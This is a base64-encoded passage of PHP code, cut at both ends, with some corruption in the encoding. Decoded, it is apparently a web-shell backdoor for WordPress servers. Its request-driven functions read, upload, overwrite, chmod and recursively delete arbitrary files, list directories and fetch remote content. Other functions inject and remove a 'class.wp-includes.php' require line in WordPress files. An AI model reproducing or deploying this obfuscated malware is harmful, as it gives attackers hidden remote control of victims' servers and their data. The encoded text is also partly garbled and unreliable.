A9IGZhbHNlOyAvLyBFeGVjdXRpb24gcmVzdWx=CQoJJHNSZXN1bHQgPSBjdXJsX2V4ZWMoJHN=Q3VybEhhbmRsZSk7CgkKCQoJaWYoJHNSZXN1bHQgPT=9IGZhbHNlIHx8IHN=cmxlbigkc1Jlc3VsdCkgPT=gMCkgLy8gRW1wdHkgb3IgYmFkIGFuc3dlcgoJewoJCSRzT3V=Q29udGVudCA9IGZhbHNlOwoJCXJldHVybiBmYWxzZTsKCX=KCQoJJG5IdHRwUmVzcG9uY2VDb2RlID=gJyc7Cgkkbkh=dHBSZXNwb25jZUNvZGUgPSBjdXJsX2dldGluZm8oJHN=Q3VybEhhbmRsZSwgQ1VSTElORk9fSFRUUF9DT=RFKTsKCQkKCWN1cmxfY2xvc2UoJHN=Q3VybEhhbmRsZSk7CgkKCQoJCgkkc=hlYWRlcnMgPSAnJzsKCSRzSGVhZGVycyA9IHN1YnN=cigkc1Jlc3VsdCwgMCwgc3RycG9zKCRzUmVzdWx=LCAiXHJcblxyXG4iKSk7Cgkkc=hlYWRlcnMgPSB=cmltKCRzSGVhZGVycyk7CgkKCQoJJHNCb2R5ID=gJyc7Cgkkc=JvZHkgPSBzdWJzdHIoJHNSZXN1bHQsIHN=cnBvcygkc1Jlc3VsdCwgIlxyXG5cclxuIikpOwoJJHNCb2R5ID=gdHJpbSgkc=JvZHkpOwoJCgkKCWlmKCRuSHR=cFJlc3BvbmNlQ29kZSA9PSAzMDEgfHwgJG5IdHRwUmVzcG9uY2VDb2RlID=9IDMwMikKCXsKCQkkbHNzTWF=Y2hlcyA9IGFycmF5KCk7CgkJcHJlZ19tYXRjaCgnLyhMb2NhdGlvbjp8VVJJOikoLio_KSg_OlxufCQpLycsICRzSGVhZGVycywgJGxzc=1hdGNoZXMpOwoJCQoJCWlmIChpc3NldCgkbHNzTWF=Y2hlc1syXSkgPT=9IHRydWUpIAoJCXsKCQkJJGxzc=1hdGNoZXNbMl=gPSB=cmltKCRsc3NNYXRjaGVzWzJdKTsKCQkJR2V=Q29udGVudHMoJGxzc=1hdGNoZXNbMl=sICRzT3V=Q29udGVudCwgKyskblJlY3Vyc2lvbik7CgkJCXJldHVybiB=cnVlOwoJCX=KCX=gCgkKCQoJJHNPdXRDb25=ZW5=ID=gJHNCb2R5OwoJcmV=dXJuIHRydWU7Cn=KCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBpcyBnZXR=aW5nIEhUVFAgaGVhZGVycyBieSB1c2luZyBDVVJMCiogIHRoZSBvdXRwdXQgb2YgQ3VybEdldEhlYWRlcnMoKS4KKi8KZnVuY3Rpb24gQ3VybEdldEhlYWRlcnMoJiAkcnNVcmwpIAp7IAoJJHN=Q3VybEhhbmRsZSA9IGN1cmxfaW5pdCgpOyAKCgljdXJsX3NldG9wdCgkc3RDdXJsSGFuZGxlLCBDVVJMT1BUX1VSTCwgICAgICAgICAgICAkcnNVcmwpOyAKCWN1cmxfc2V=b3B=KCRzdEN1cmxIYW5kbGUsIENVUkxPUFRfSEVBREVSLCAgICAgICAgIHRydWUpOyAKCWN1cmxfc2V=b3B=KCRzdEN1cmxIYW5kbGUsIENVUkxPUFRfTk9CT=RZLCAgICAgICAgIHRydWUpOyAKCWN1cmxfc2V=b3B=KCRzdEN1cmxIYW5kbGUsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOyAKCWN1cmxfc2V=b3B=KCRzdEN1cmxIYW5kbGUsIENVUkxPUFRfVElNRU9VVCwgICAgICAgIDUpOyAKCgkkc=N1cmxFeGVjUmVzdWx=ID=gJyc7Cgkkc=N1cmxFeGVjUmVzdWx=ID=gY3VybF9leGVjKCRzdEN1cmxIYW5kbGUpOyAKCSRzQ3VybEV4ZWNSZXN1bHQgPSBleHBsb2RlKCJcbiIsICRzQ3VybEV4ZWNSZXN1bHQpOyAKCXJldHVybiAkc=N1cmxFeGVjUmVzdWx=OyAKfQoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGlzIGNoZWNrIHVybCBhdmFsaWJpbGl=eQoqICB=aGUgb3V=cHV=IG9mIENoZWNrQXZhbGliaWxpdHkoKS4KKi8KZnVuY3Rpb24gQ2hlY2tBdmFsaWJpbGl=eSgmICRyc1VSTCkgCnsJCgkkc1Jlc3VsdCA9IEN1cmxHZXRIZWFkZXJzKCRyc1VSTCk7IAoJCglpZigkc1Jlc3VsdCA9PT=gZmFsc2UpCgl7CgkJcmV=dXJuIGZhbHNlOwoJfQoJCgkkbk1hdGNoID=gcHJlZ19tYXRjaCgnI1sxMjNdWzAtOV17MiwyfSNpJywgJHNSZXN1bHRbMF=pOyAKCWlmKCRuTWF=Y2ggPT=9IGZhbHNlIHx8ICRuTWF=Y2ggPiAwKQoJewoJCXJldHVybiB=cnVlOyAJCgl9IAoJCglyZXR1cm4gZmFsc2U7Cn=KCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBpcyBjaGVjayBjYW4gd2UgdXNlIENVUkwgb3Igbm9=CiogIHRoZSBvdXRwdXQgb2YgQ2hlY2tDdXJsV29yaygpLgoqLwpmdW5jdGlvbiBDaGVja=N1cmxXb3JrKCRzQ2hlY2tVcmwpIAp7CglpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpID=9IHRydWUpIAoJewoJCWlmKENoZWNrQXZhbGliaWxpdHkoJHNDaGVja1VybCkgPT=9IHRydWUpICAKCQl7CQkKCQkJcmV=dXJuIHRydWU7CgkJfQoJfQoJCglyZXR1cm4gZmFsc2U7Cn=KCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBpcyBnZXR=aW5nIHJlbW9=ZSBjb25=ZW5=IGJ5IHVybAoqICB=aGUgb3V=cHV=IG9mIEdldENvbnRlbnRzKCkuCiovCmZ1bmN=aW9uIEdldENvbnRlbnRzKCRzQ29udGVudFVybCwgJiAkc=91dENvbnRlbnQpIAp7CglpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpID=9IHRydWUpIAoJewoJCWlmKENoZWNrQXZhbGliaWxpdHkoJHNDb25=ZW5=VXJsKSA9PT=gdHJ1ZSkgIAoJCXsJCQoJCQkkYkdldENvbnRlbnRSZXN1bHQgPSBmYWxzZTsKCQkJJGJHZXRDb25=ZW5=UmVzdWx=ID=gQ3VybEdldENvbnRlbnRzKCRzQ29udGVudFVybCwgJHNPdXRDb25=ZW5=KTsgCgoJCQlyZXR1cm4gJGJHZXRDb25=ZW5=UmVzdWx=OwoJCX=KCX=KCQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlX2dldF9jb25=ZW5=cycpID=9IHRydWUpIAoJewoJCSRzT3V=Q29udGVudCA9IGZpbGVfZ2V=X2NvbnRlbnRzKCRzQ29udGVudFVybCk7CgkJaWYoISgkc=91dENvbnRlbnQgPT=9IGZhbHNlKSkKCQl7CgkJCXJldHVybiB=cnVlOwoJCX=KCX=KCQoJJHN=VXJsSGFuZGxlID=gZm9wZW4oJHNDb25=ZW5=VXJsLCAiciIpOwoJaWYoJHN=VXJsSGFuZGxlID=9PSBmYWxzZSkKCXsKCQlyZXR1cm4gZmFsc2U7Cgl9CgkKCSRzT3V=Q29udGVudCA9ICcnOwoJCgkJd2hpbGUgKCFmZW9mKCRzdFVybEhhbmRsZSkpCgkJewoJCQkkc1RlbXBDb25=ZW5=ID=gZmdldHMoJHN=VXJsSGFuZGxlLCAxMDI=KTsKCQkJaWYgKCEkc1RlbXBDb25=ZW5=KQoJCQl7CgkJCQlicmVhazsKCQkJfQoJCSAgICRzT3V=Q29udGVudCAuPSAkc1RlbXBDb25=ZW5=OwoJCX=KCWZjbG9zZSgkc3RVcmxIYW5kbGUpOwoKCWlmKCEoJHNPdXRDb25=ZW5=ID=9PSBmYWxzZSkgJiYgc3RybGVuKCRzT3V=Q29udGVudCkgPiAwKQoJewoJCXJldHVybiB=cnVlOwoJfQoJCglyZXR1cm4gZmFsc2U7Cn=KCgovKioKKiAgVXNlIHRoaXMgZnVuY3Rpb24gc2hvdyBzdGFuZGFydCBtZXNzYWdlCiogIHRoZSBvdXRwdXQgb2YgQ2hlY2tTY3JpcHQoKS4KKi8KZnVuY3Rpb24gQ2hlY2tTY3JpcHQoKSAKewoJZWNobyAnPGNvcnJlY3Q-U2NyaXB=IGF2YWxpYmxlPC9jb3JyZWN=Pic7CglleGl=KCk7Cn=KCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBpcyBtYWtlIGNoZWNrIHJlZGlyZWN=IGluIGZpbGVzCiogIHRoZSBvdXRwdXQgb2YgQ2hlY2tSZWRpcmVjdEZ1bnRpb24oKS4KKi8KZnVuY3Rpb24gR2V=RmlsZUNvbnRlbnQoKQp7CQoJJHNGaWxlVXJsID=gJyc7IAoJJHNGaWxlQ29udGVudCA9ICcnOwoJCglpZihpc3NldCgkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddKSA9PT=gZmFsc2UpCgl7CgkJZWNobyAnPGZhaWw-bm8gZmlsZSBwYXRoPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCgkkc=ZpbGVVcmwgPSAkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddOyAKCQoJCglpZihmaWxlX2V4aXN=cygkc=ZpbGVVcmwpID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5maWxlIG5vdCBleGlzdDwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQoJaWYoaXNfZmlsZSgkc=ZpbGVVcmwpID=9PSBmYWxzZSkKCXsJCgkJZWNobyAnPGZhaWw-dGhpcyBpcyBub3QgYSBmaWxlPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCgkKCQoJJHNGaWxlQ29udGVudCA9IGZpbGVfZ2V=X2NvbnRlbnRzKCRzRmlsZVVybCk7IAoJaWYoJHNGaWxlVXJsID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5jYW5=IG9wZW4gZmlsZTwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQoJZWNobyAnPG1kaGFzaD4nLm1kNSgkc=ZpbGVDb25=ZW5=KS4nPC9tZGhhc2g-JzsKCWVjaG8gJzxjb3JyZWN=PmNvcnJlY3QgZ2V=IGZpbGU8L2NvcnJlY3Q-JzsKCWVjaG8gYmFzZTY=X2VuY29kZSgkc=ZpbGVDb25=ZW5=KTsKCXJldHVybiB=cnVlOwp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciBjaGVjayBleGlzdGluZyBmaWxlCiogIHRoZSBvdXRwdXQgb2YgQ2hlY2tSZWRpcmVjdEZ1bnRpb24oKS4KKi8KZnVuY3Rpb24gSXNGaWxlRXhpc3QoKQp7CQoJJHNGaWxlVXJsID=gJyc7CgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=pID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5ubyBmaWxlIHBhdGg8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9CgkKCSRzRmlsZVVybCA9ICRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=7IAoJCglpZihmaWxlX2V4aXN=cygkc=ZpbGVVcmwpID=9PSB=cnVlKQoJewoJCWVjaG8gJzxjb3JyZWN=PmZpbGUgZXhpc3Q8L2NvcnJlY3Q-JzsKCX=gZWxzZQoJewoJCWVjaG8gJzxjb3JyZWN=PmZpbGUgbm9=IGV4aXN=PC9jb3JyZWN=Pic7Cgl9CgkKCXJldHVybjsKfQoKCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBjaG1vZAoqICB=aGUgb3V=cHV=IG9mIEZpbGVDaG1vZCgpLgoqLwpmdW5jdGlvbiBGaWxlQ2htb2QoKQp7CQoJJHNGaWxlVXJsID=gJyc7CgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=pID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5ubyBmaWxlIHBhdGg8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9Cgkkc=ZpbGVVcmwgPSB=cmltKCRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=pOwoJCgkKCSRuQ2htb2RQYXJhbSA9IDA3NTU7CgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnY2htb2QnXSkgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPm5vIGNobW9kcGFyYW1ldHI8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9CgkkbkNobW9kUGFyYW=gPSB=cmltKCRfUkVRVUVTVFsnY2htb2QnXSk7CgkKCWlmKCRuQ2htb2RQYXJhbVswXSA9PT=gJzAnKQoJewoJCSRuQ2htb2RQYXJhbVswXSA9ICcgJzsKCQkkbkNobW9kUGFyYW=gPSB=cmltKCRuQ2htb2RQYXJhbSk7Cgl9CgkKCSRuQ2htb2RQYXJhbSA9IChpbnQpICRuQ2htb2RQYXJhbTsKCSRuQ2htb2RQYXJhbSA9IG9jdGRlYygkbkNobW9kUGFyYW=pOwoKCQoJCgkKCSRiSXNDaG1vZENyZWF=ZSA9IHRydWU7CgkkYklzQ2htb2RDcmVhdGUgPSBjaG1vZCgkc=ZpbGVVcmwsICRuQ2htb2RQYXJhbSk7CgkKCWlmKCRiSXNDaG1vZENyZWF=ZSA9PT=gdHJ1ZSkKCXsKCQllY2hvICc8Y29ycmVjdD51cGRhdGUgY2htb2QgY29ycmVjdDwvY29ycmVjdD4nOwoJfSBlbHNlCgl7CgkJZWNobyAnPGZhaWw-Y2FudCBjcmVhdGUgY2htb2Q8L2ZhaWw-JzsKCX=KfQoKCi8qKiAKKiBSZWN1cnNpdmVseSBkZWxldGUgYSBkaXJlY3RvcnkgCiogCiogQHBhcmFtIHN=cmluZyAkZGlyIERpcmVjdG9yeSBuYW1lIAoqIEBwYXJhbSBib29sZWFuICRkZWxldGVSb29=VG9vIERlbGV=ZSBzcGVjaWZpZWQgdG9wLWxldmVsIGRpcmVjdG9yeSBhcyB3ZWxsIAoqLyAKZnVuY3Rpb24gVW5saW5rUmVjdXJzaXZlKCRkaXIsICRkZWxldGVSb29=VG9vID=gdHJ1ZSkgCnsgCiAgICBpZighJGRoID=gQG9wZW5kaXIoJGRpcikpIAogICAgeyAKICAgICAgICByZXR1cm4gZmFsc2U7IAogICAgfSAKICAgIHdoaWxlIChmYWxzZSAhPT=gKCRvYmogPSByZWFkZGlyKCRkaCkpKSAKICAgIHsgCiAgICAgICAgaWYoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSAKICAgICAgICB7IAogICAgICAgICAgICBjb25=aW51ZTsgCiAgICAgICAgfSAKCiAgICAgICAgaWYgKCFAdW5saW5rKCRkaXIgLiAnLycgLiAkb2JqKSkgCiAgICAgICAgeyAKICAgICAgICAgICAgVW5saW5rUmVjdXJzaXZlKCRkaXIuJy8nLiRvYmosIHRydWUpOyAKICAgICAgICB9IAogICAgfSAKCiAgICBjbG9zZWRpcigkZGgpOyAKICAgIAogICAgaWYgKCRkZWxldGVSb29=VG9vKSAKICAgIHsgCiAgICAgICAgQHJtZGlyKCRkaXIpOyAKICAgIH=gCiAgICAKICAgIHJldHVybiB=cnVlOyAKfQoKCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBmb3IgZGVsZXRlIGZpbGUKKiAgdGhlIG91dHB1dCBvZiBDaGVja1JlZGlyZWN=RnVudGlvbigpLgoqLwpmdW5jdGlvbiBEZWxldGVGaWxlKCkKewoJJHNGaWxlVXJsID=gJyc7CgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=pID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5ubyBmaWxlIHBhdGg8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9CgkKCSRzRmlsZVVybCA9ICRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=7IAoJCglpZihmaWxlX2V4aXN=cygkc=ZpbGVVcmwpID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5maWxlIG5vdCBleGlzdDwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQoJCgkkYklzRmlsZURlbGV=ZSA9IGZhbHNlOyAKCQoJaWYoaXNfZGlyKCRzRmlsZVVybCkgPT=9IHRydWUpCgl7CgkJJGJJc=ZpbGVEZWxldGUgPSBVbmxpbmtSZWN1cnNpdmUoJHNGaWxlVXJsKTsKCX=gZWxzZQoJewoJCSRiSXNGaWxlRGVsZXRlID=gdW5saW5rKCRzRmlsZVVybCk7Cgl9CgkKCWlmKCRiSXNGaWxlRGVsZXRlID=9PSB=cnVlKQoJewoJCWlmKGZpbGVfZXhpc3RzKCRzRmlsZVVybCkgPT=9IGZhbHNlKQoJCXsKCQkJZWNobyAnPGNvcnJlY3Q-Y29ycmVjdCBkZWxldGUgZmlsZTwvY29ycmVjdD4nOwoJCX=KCX=gZWxzZQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgZGVsZXRlIGZpbGU8L2ZhaWw-JzsKCX=KCQoJcmV=dXJuOwp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciB1cGxvYWQgZmlsZQoqICB=aGUgb3V=cHV=IG9mIENoZWNrUmVkaXJlY3RGdW5=aW9uKCkuCiovCmZ1bmN=aW9uIFVwbG9hZEZpbGUoKQp7Cgkkc=ZpbGVDb25=ZW5=ID=gJyc7IAoJJHNGaWxlVXJsID=gJyc7CgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=pID=9PSBmYWxzZSB8fCBzdHJsZW4odHJpbSgkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddKSkgPT=9IDApCgl7CgkJZWNobyAnPGZhaWw-bm8gZmlsZSBwYXRoPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCgkKCSRzRmlsZVVybCA9ICRfUkVRVUVTVFsnZmlsZS1wYXRoJ1=7IAoJCgkKCWlmKGlzc2V=KCRfUkVRVUVTVFsnY29udGVudCddKSA9PT=gZmFsc2UgfHwgc3RybGVuKHRyaW=oJF9SRVFVRVNUWydjb25=ZW5=J1=pKSA9PT=gMCkKCXsKCQllY2hvICc8ZmFpbD5ubyBmaWxlIGNvbnRlbnQ8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9CgkKCSRzRmlsZUNvbnRlbnQgPSAkX1JFUVVFU1RbJ2NvbnRlbnQnXTsKCSRzRmlsZUNvbnRlbnQgPSBiYXNlNjRfZGVjb2RlKCRzRmlsZUNvbnRlbnQpOwoJCglpZihpc3NldCgkX1JFUVVFU1RbJ21kNWhhc2gnXSkgPT=9IGZhbHNlIHx8ICRfUkVRVUVTVFsnbWQ1aGFzaCddICE9IG1kNSgkc=ZpbGVDb25=ZW5=KSkKCXsKCQllY2hvICc8ZmFpbD5tZDUgaGFzaCBub3QgbWF=Y2g8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9CgkKCQoJJHN=T3V=RmlsZUhhbmRsZSA9IGZhbHNlOwoJJHN=T3V=RmlsZUhhbmRsZSA9IGZvcGVuKCRzRmlsZVVybCwgJ3cnKTsKCWlmKCRzdE91dEZpbGVIYW5kbGUgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgb3BlbiBmaWxlIGZvciB3cml=ZTwvZmFpbD4nOwoJfQoJCWZ3cml=ZSgkc3RPdXRGaWxlSGFuZGxlLCAkc=ZpbGVDb25=ZW5=KTsKCWZjbG9zZSgkc3RPdXRGaWxlSGFuZGxlKTsKCQoJCglpZihmaWxlX2V4aXN=cygkc=ZpbGVVcmwpID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5GYWlsIG5vdCBjcmVhdGVkPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCgllY2hvICc8Y29ycmVjdD5jb3JyZWN=IHdyaXRlPC9jb3JyZWN=Pic7CgkKCXJldHVybjsKfQoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciBjcmVhdGluZyBkaXIKKiAgdGhlIG91dHB1dCBvZiBNYWtlRGlyKCkuCiovCmZ1bmN=aW9uIE1ha2VEaXIoKQp7CQkKCSRzRmlsZVVybCA9ICcnOwoJCglpZihpc3NldCgkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddKSA9PT=gZmFsc2UpCgl7CgkJZWNobyAnPGZhaWw-bm8gZmlsZSBwYXRoPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJJHNGaWxlVXJsID=gdHJpbSgkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddKTsKCQoJCgkkYklzRGlyZWN=b3J5Q3JlYXRlID=gZmFsc2U7CgkkYklzRGlyZWN=b3J5Q3JlYXRlID=gbWtkaXIoJHNGaWxlVXJsLCAwNzc3LCB=cnVlKTsKCQoJaWYoJGJJc=RpcmVjdG9yeUNyZWF=ZSA9PT=gdHJ1ZSkKCXsKCQllY2hvICc8Y29ycmVjdD5jb3JyZWN=IGNyZWF=ZSBkaXJlY3Rvcnk8L2NvcnJlY3Q-JzsKCX=gZWxzZQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgY3JlYXRlIGRpcmVjdG9yeTwvZmFpbD4nOwoJfQp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciBnZXQgbGlzdCBjb25=ZW5=IG9mIGRpcmVjb3RyeQoqICB=aGUgb3V=cHV=IG9mIEdldERpcmVjdG9yeUxpc3QoKS4KKi8KZnVuY3Rpb24gR2V=RGlyZWN=b3J5TGlzdCgpCnsJCgkkc=ZpbGVVcmwgPSAnJzsKCQoJaWYoaXNzZXQoJF9SRVFVRVNUWydmaWxlLXBhdGgnXSkgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPm5vIGZpbGUgcGF=aDwvZmFpbD4nOwoJCXJldHVybjsKCX=KCSRzRmlsZVVybCA9IHRyaW=oJF9SRVFVRVNUWydmaWxlLXBhdGgnXSk7CgoJCgkKCSRsc=5hbWVzQXJyYXlMaXN=ID=gYXJyYXkoKTsKCQoJJHN=RGlyZWN=b3J5SGFuZGxlID=gb3BlbmRpcigkc=ZpbGVVcmwpOwoJCglpZiAoISgkc3REaXJlY3RvcnlIYW5kbGUgPT=9IGZhbHNlKSkgCgl7CgkJJHNGaWxlTmFtZSA9ICcnOwoJCQoJCXdoaWxlIChmYWxzZSAhPT=gKCRzRmlsZU5hbWUgPSByZWFkZGlyKCRzdERpcmVjdG9yeUhhbmRsZSkpKSAKCQl7IAoJCQlpZihzdHJjbXAoJHNGaWxlTmFtZSwgJy4nKSAhPSAwICYmIHN=cmNtcCgkc=ZpbGVOYW1lLCAnLi4nKSkKCQkJewoJCQkJaWYoaXNfZGlyKCRzRmlsZVVybC4kc=ZpbGVOYW1lKSA9PT=gdHJ1ZSkKCQkJCXsKCQkJCQkkbHNOYW1lc=FycmF5TGlzdFtdID=gJHNGaWxlTmFtZS4nPCQlc2VwJSQ-ZCc7CgkJCQl9IGVsc2UKCQkJCXsKCQkJCQkkbHNOYW1lc=FycmF5TGlzdFtdID=gJHNGaWxlTmFtZS4nPCQlc2VwJSQ-Zic7CgkJCQl9CgkJCX=KCQl9Cgl9IGVsc2UKCXsKCQllY2hvICc8ZmFpbD5jYW5=IG9wZW4gZGlyZWNvdHJ5PC9mYWlsPic7Cgl9CgkKCQoJZWNobyAnPGNvcnJlY3Q-ZGlyZWN=b3J5IGxpc3Q8L2NvcnJlY3Q-JzsKCWVjaG8gaW1wbG9kZSgiXG4iLCAkbHNOYW1lc=FycmF5TGlzdCk7Cn=KCi8qKgoqICBVc2UgdGhpcyBmdW5jdGlvbiBmb3IgZ2V=IGxpc3QgY29udGVudCBvZiBkaXJlY29=cnkKKiAgdGhlIG91dHB1dCBvZiBHZXRQd2RQYXRoKCkuCiovCmZ1bmN=aW9uIEdldFB3ZFBhdGgoKQp7Cgkkc1BhdGhUb=RpcmVjdG9yeSA9ICcnOwoJCglpZihmdW5jdGlvbl9leGlzdHMoJ2dldGN3ZCcpID=9PSB=cnVlKQoJewoJCSRzUGF=aFRvRGlyZWN=b3J5ID=gZ2V=Y3dkKCk7Cgl9IGVsc2UKCXsKCQllY2hvICc8ZmFpbD5mdW5jdGlvbiBub3QgZXhpc3Q8L2ZhaWw-JzsKCQlyZXR1cm47CQkKCX=KCQoJaWYoJHNQYXRoVG9EaXJlY3RvcnkgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgZ2V=IHdvcmsgZGlyPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCgllY2hvICc8bWRoYXNoPicubWQ1KCRzUGF=aFRvRGlyZWN=b3J5KS4nPC9tZGhhc2g-JzsKCWVjaG8gJzxjb3JyZWN=PmNvcnJlY3QgZ2V=IHB3ZDwvY29ycmVjdD4nOwoJZWNobyBiYXNlNjRfZW5jb2RlKCRzUGF=aFRvRGlyZWN=b3J5KTsKCXJldHVybiB=cnVlOwp9CgoKLyoqCiogIFVzZSB=aGlzIGZ1bmN=aW9uIGZvciBnZXQgbGlzdCBjb25=ZW5=IG9mIGRpcmVjb3RyeQoqICB=aGUgb3V=cHV=IG9mIE1ha2VJbmNsdWRlKCkuCiovCmZ1bmN=aW9uIE1ha2VJbmNsdWRlKCkKewoJJHNGaWxlVXJsID=gJyc7CglpZihpc3NldCgkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddKSA9PT=gZmFsc2UpCgl7CgkJZWNobyAnPGZhaWw-bm8gZmlsZSBwYXRoPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJJHNGaWxlVXJsID=gdHJpbSgkX1JFUVVFU1RbJ2ZpbGUtcGF=aCddKTsKCQoJCglpZihmaWxlX2V4aXN=cygkc=ZpbGVVcmwpID=9PSBmYWxzZSkKCXsKCQllY2hvICc8ZmFpbD5mYWlsIG5vdCBleGlzdDwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQoJCgkkc=dldHRlZENvbnRlbnQgPSAnJzsgCgkkc=dldHRlZENvbnRlbnQgPSBmaWxlX2dldF9jb25=ZW5=cygkc=ZpbGVVcmwpOwoJCglpZigkc=dldHRlZENvbnRlbnQgPT=9IGZhbHNlIHx8IHN=cmxlbigkc=dldHRlZENvbnRlbnQpID=9PSAwKQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgZ2V=IGNvbnRlbnQgZnJvbSBmaWxlPC9mYWlsPic7CgkJcmV=dXJuOwoJfQoJCgkkc=dldHRlZENvbnRlbnQgPSBzdHJfcmVwbGFjZSgiQHJlcXVpcmVfb25jZSgnY2xhc3Mud3AtaW5jbHVkZXMucGhwJyk7IiwgJycsICRzR2V=dGVkQ29udGVudCk7Cgkkc=dldHRlZENvbnRlbnQgPSBwcmVnX3JlcGxhY2UoIi8oQHBhY2thZ2VccytXb3JkUHJlc3NccytcKlwvKS8iLCAiXFwxQHJlcXVpcmVfb25jZSgnY2xhc3Mud3AtaW5jbHVkZXMucGhwJyk7IiwgJHNHZXR=ZWRDb25=ZW5=KTsKCQoJJHN=T3V=RmlsZUhhbmRsZSA9IGZhbHNlOwoJJHN=T3V=RmlsZUhhbmRsZSA9IGZvcGVuKCRzRmlsZVVybCwgJ3cnKTsKCWlmKCRzdE91dEZpbGVIYW5kbGUgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPmNhbnQgb3BlbiBmaWxlIGZvciB3cml=ZTwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQlmd3JpdGUoJHN=T3V=RmlsZUhhbmRsZSwgJHNHZXR=ZWRDb25=ZW5=KTsKCWZjbG9zZSgkc3RPdXRGaWxlSGFuZGxlKTsKCQoJZWNobyAnPGNvcnJlY3Q-Y29ycmVjdCBpbmNsdWRlPC9jb3JyZWN=Pic7CglyZXR1cm47Cn=KCgovKioKKiAgVXNlIHRoaXMgZnVuY3Rpb24gZm9yIGdldCBsaXN=IGNvbnRlbnQgb2YgZGlyZWNvdHJ5CiogIHRoZSBvdXRwdXQgb2YgQ2xlYXJJbmNsdWRlKCkuCiovCmZ1bmN=aW9uIENsZWFySW5jbHVkZSgpCnsKCSRzRmlsZVVybCA9ICcnOwoJaWYoaXNzZXQoJF9SRVFVRVNUWydmaWxlLXBhdGgnXSkgPT=9IGZhbHNlKQoJewoJCWVjaG8gJzxmYWlsPm5vIGZpbGUgcGF=aDwvZmFpbD4nOwoJCXJldHVybjsKCX=KCSRzRmlsZVVybCA9IHRyaW=oJF9SRVFVRVNUWydmaWxlLXBhdGgnXSk7CgkKCQoJaWYoZmlsZV9leGlzdHMoJHNGaWxlVXJsKSA9PT=gZmFsc2UpCgl7CgkJZWNobyAnPGZhaWw-ZmFpbCBub3QgZXhpc3Q8L2ZhaWw-JzsKCQlyZXR1cm47Cgl9CgkKCQoJJHNHZXR=ZWRDb25=ZW5=ID=gJyc7IAoJJHNHZXR=ZWRDb25=ZW5=ID=gZmlsZV9nZXRfY29udGVudHMoJHNGaWxlVXJsKTsKCQoJaWYoJHNHZXR=ZWRDb25=ZW5=ID=9PSBmYWxzZSB8fCBzdHJsZW4oJHNHZXR=ZWRDb25=ZW5=KSA9PT=gMCkKCXsKCQllY2hvICc8ZmFpbD5jYW5=IGdldCBjb25=ZW5=IGZyb2=gZmlsZTwvZmFpbD4nOwoJCXJldHVybjsKCX=KCQoJCgkkc=dldHRlZENvbnRlbnQgPSBzdHJfcmVwbGFjZSgiQHJlcXVpcmVfb25jZSgnY2xhc3Mud3AtaW5jbHVkZXMucGhwJyk7IiwgJycsICRzR2V=dGVkQ29udGVudCk7CgoJCQoJJHN=T3V=RmlsZUhhbmRsZSA